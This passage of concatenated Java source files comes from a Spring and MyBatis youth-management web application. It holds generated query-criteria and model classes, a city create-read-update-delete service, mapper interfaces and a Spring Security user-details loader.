addCriterion("WORK_PLACE not like", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceIn(List<String> values) { addCriterion("WORK_PLACE in", values, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotIn(List<String> values) { addCriterion("WORK_PLACE not in", values, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceBetween(String value1, String value2) { addCriterion("WORK_PLACE between", value1, value2, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotBetween(String value1, String value2) { addCriterion("WORK_PLACE not between", value1, value2, "workPlace"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_person * * @mbggenerated do_not_delete_during_merge Sun Jun 25 14:35:20 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` Sym0012Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.db.model.QltnMCountryExample; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0012Dao; import vn.youthmanager.ict.youth.db.model.Sym0012Conditions; import vn.youthmanager.ict.youth.db.model.Sym0012Result; @Service public class Sym0012Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0012Dao Sym0012Dao; ObjectMapper mapper = new ObjectMapper(); // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * initData Create Select box Report * @param model */ public void initData(Model model, String countryId) { List<QltnMCountry> cityData = new ArrayList<QltnMCountry>(); try { QltnMCountryExample qltnMCountryExample = new QltnMCountryExample(); QltnMCountryExample.Criteria countryCriteria = qltnMCountryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = Sym0012Dao.getQltnMCountryMapper().selectByExample(qltnMCountryExample); model.addAttribute("cityData", mapper.writeValueAsString(cityData)); } catch (Exception ex) { ex.printStackTrace(); cityData = new ArrayList<QltnMCountry>(); } try { model.addAttribute("cityData", mapper.writeValueAsString(cityData)); } catch (Exception ex) { model.addAttribute("cityData", "''"); } // model default report Id model.addAttribute("countryIdDefault", countryId); } /** * Search city in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of citys data */ public List<Sym0012Result> searchData(Sym0012Conditions searchConditions) { List<Sym0012Result> bnn0012ResultList = new ArrayList<Sym0012Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0012ResultList = Sym0012Dao.getSym0012Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0012ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = Sym0012Dao.getSym0012Mapper().getSearchDataTotalCounts(params); bnn0012ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle city input data convertSanitize(bnn0012ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0012Result tempObj = new Sym0012Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0012ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0012ResultList = null; } return bnn0012ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0012Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // From parameter params.put("countryId", searchConditions.getCountryId()); // city Name params.put("cityName", searchConditions.getCityName().equals("") ? "" : "%" + searchConditions.getCityName() + "%"); // city Code params.put("cityCode", searchConditions.getCityCode().equals("") ? "" : "%" + searchConditions.getCityCode() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle city input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0012Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0012Result currentData = inputData.get(i); // city Name currentData.setCityName(Util.convertSanitize(currentData.getCityName())); // city Code currentData.setCityCode(Util.convertSanitize(currentData.getCityCode())); } } /** * Update city's information to DB * * @param cityData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMCity cityData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in city id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in city's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(cityData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCity cityObj = new QltnMCity(); // city Id cityObj.setCityId(cityData.getCityId()); // city Name cityObj.setCityName(cityData.getCityName()); // city Code cityObj.setCityCode(cityData.getCityCode()); // update User id cityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag cityObj.setDeleteFlag(cityData.getDeleteFlag()); int result = Sym0012Dao.getQltnMCityMapper().updateByPrimaryKeySelective(cityObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert city's information to DB * * @param cityData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMCity cityData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in city id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in city's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for city input if (!checkInputBlankFields(cityData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("countryIdDefault", Constants.DEFAULT_PARAMS); String idNumberStr = Sym0012Dao.getSym0012Mapper().getLastIdCity(params); int idNumber = 0; if (idNumberStr != null) { idNumber = Integer.parseInt(idNumberStr.substring(2)); } if (idNumber < Constants.DEFAULT_ID) { idNumber = idNumber + 1; String cityId = Constants.CITY_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMCity cityObj = new QltnMCity(); // Country Id cityObj.setCountryId(cityData.getCountryId()); // city Id cityObj.setCityId(cityId); // city Code cityObj.setCityCode(cityData.getCityCode()); // city Name cityObj.setCityName(cityData.getCityName()); // create city id cityObj.setCreateUserId(Util.getUserInfo().getID()); // update User id cityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag cityObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = Sym0012Dao.getQltnMCityMapper().insert(cityObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete city from DB * * @param cityID : city's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String countryId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCity QltnMCity = new QltnMCity(); QltnMCity.setCityId(countryId); QltnMCity.setDeleteFlag(Constants.DELETE_FLAG_ON); // update city id QltnMCity.setUpdateUserId(Util.getUserInfo().getID()); int result = Sym0012Dao.getQltnMCityMapper().updateByPrimaryKeySelective(QltnMCity); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get city information based on city's id * * @param cityID : city's id received from client * @return city data */ public QltnMCity getSingleData(String countryId) { return Sym0012Dao.getQltnMCityMapper().selectByPrimaryKey(countryId); } /** * Check input: blank fields * * @param cityData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMCity cityData) { if (cityData.getCityName().equals("") || cityData.getCityCode().equals("")) { return false; } else { return true; } } } ``` MyUserDetailsService.java ```package vn.bananavietnam.ict.common.auth; import java.sql.ResultSet; import java.sql.SQLException; import java.util.List; import org.springframework.jdbc.core.RowMapper; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.AuthorityUtils; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.core.userdetails.jdbc.JdbcDaoImpl; public class MyUserDetailsService extends JdbcDaoImpl { @Override protected List<UserDetails> loadUsersByUsername(String username) { return getJdbcTemplate().query(getUsersByUsernameQuery(), new String[] { username }, new RowMapper<UserDetails>() { public UserDetails mapRow(ResultSet rs, int rowNum) throws SQLException { String username = rs.getString("username"); String password = rs.getString("password"); boolean enabled = rs.getBoolean("enabled"); return new MyUser(username, password, enabled, true, true, true, AuthorityUtils.NO_AUTHORITIES, rs); } }); } @Override protected UserDetails createUserDetails(String username, UserDetails userFromUserQuery, List<GrantedAuthority> combinedAuthorities) { UserDetails user = super.createUserDetails(username, userFromUserQuery, combinedAuthorities); if (userFromUserQuery instanceof MyUser) { MyUser myUser = (MyUser) userFromUserQuery; try { return new MyUser(user.getUsername(), user.getPassword(), user.isEnabled(), user.isAccountNonExpired(), user.isCredentialsNonExpired(), user.isAccountNonLocked(), user.getAuthorities(), myUser); } catch (SQLException e) { e.printStackTrace(); return user; } } else { return user; } } } ``` e2b7abcdff6b5d0cbc7e8be7a188eb1584f8fb1c.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMUsers; import vn.youthmanager.ict.common.db.model.QltnMUsersExample; public interface QltnMUsersMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMUsersExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMUsersExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String usersId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMUsers record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMUsers record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMUsers> selectByExample(QltnMUsersExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMUsers selectByPrimaryKey(String usersId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMUsers record, @Param("example") QltnMUsersExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMUsers record, @Param("example") QltnMUsersExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMUsers record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_users * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMUsers record); }``` b7d8d93e3a6ef5b0e1f795ccae673aa436ecbe91.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorization; import vn.youthmanager.ict.youth.db.model.Sym0023Result; public interface Sym0023Mapper { List<Sym0023Result> searchData(Map<String, Object> params); List<QltnMAccessAuthorization> getAccessData(Map<String, Object> params); } ``` QltnMProcessPerson.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMProcessPerson extends QltnMProcessPersonKey { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.FROM_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String fromYear; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.TO_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String toYear; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.CONTENT * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String content; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.CREATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.CREATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.UPDATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.DELETE_FLAG * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.FROM_YEAR * * @return the value of qltn_m_process_person.FROM_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getFromYear() { return fromYear; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.FROM_YEAR * * @param fromYear the value for qltn_m_process_person.FROM_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setFromYear(String fromYear) { this.fromYear = fromYear; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.TO_YEAR * * @return the value of qltn_m_process_person.TO_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getToYear() { return toYear; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.TO_YEAR * * @param toYear the value for qltn_m_process_person.TO_YEAR * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setToYear(String toYear) { this.toYear = toYear; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.CONTENT * * @return the value of qltn_m_process_person.CONTENT * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getContent() { return content; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.CONTENT * * @param content the value for qltn_m_process_person.CONTENT * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setContent(String content) { this.content = content; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.CREATE_USER_ID * * @return the value of qltn_m_process_person.CREATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.CREATE_USER_ID * * @param createUserId the value for qltn_m_process_person.CREATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.CREATE_DATE * * @return the value of qltn_m_process_person.CREATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.CREATE_DATE * * @param createDate the value for qltn_m_process_person.CREATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.UPDATE_USER_ID * * @return the value of qltn_m_process_person.UPDATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_process_person.UPDATE_USER_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.LAST_UPDATE_DATE * * @return the value of qltn_m_process_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_process_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.DELETE_FLAG * * @return the value of qltn_m_process_person.DELETE_FLAG * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.DELETE_FLAG * * @param deleteFlag the value for qltn_m_process_person.DELETE_FLAG * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` 